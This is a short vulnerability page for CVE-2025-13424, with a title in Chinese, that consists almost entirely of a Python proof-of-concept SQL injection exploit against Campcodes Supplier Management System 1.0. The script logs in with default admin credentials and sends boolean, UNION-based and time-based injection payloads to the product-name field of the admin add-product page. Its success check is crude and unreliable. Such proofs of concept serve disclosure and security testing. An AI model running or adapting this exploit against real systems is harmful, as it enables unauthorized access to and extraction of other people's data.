CVE-2025-13424 Campcodes供应商管理系统SQL注入漏洞

# CVE-2025-13424 SQL Injection PoC # Target: Campcodes Supplier Management System 1.0 # File: /admin/add_product.php # Parameter: txtProductName import requests import sys target = "http://target.com" login_url = f"{target}/admin/login.php" add_product_url = f"{target}/admin/add_product.php" # Admin credentials credentials = { "username": "admin", "password": "admin" } # SQL Injection Payloads payloads = [ "test' OR '1'='1", "test' UNION SELECT NULL,@@version,NULL-- -", "test' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -" ] def exploit(): session = requests.Session() # Login as admin resp = session.post(login_url, data=credentials) if "login" in resp.text.lower(): print("[-] Login failed") return print("[+] Login successful") # Send malicious payload for payload in payloads: data = { "txtProductName": payload, "txtProductPrice": "100", "txtProductCategory": "1", "btnSubmit": "Submit" } resp = session.post(add_product_url, data=data) print(f"[*] Payload sent: {payload}") if "error" not in resp.text.lower(): print(f"[!] Potential vulnerability detected with payload: {payload}") if __name__ == "__main__": exploit()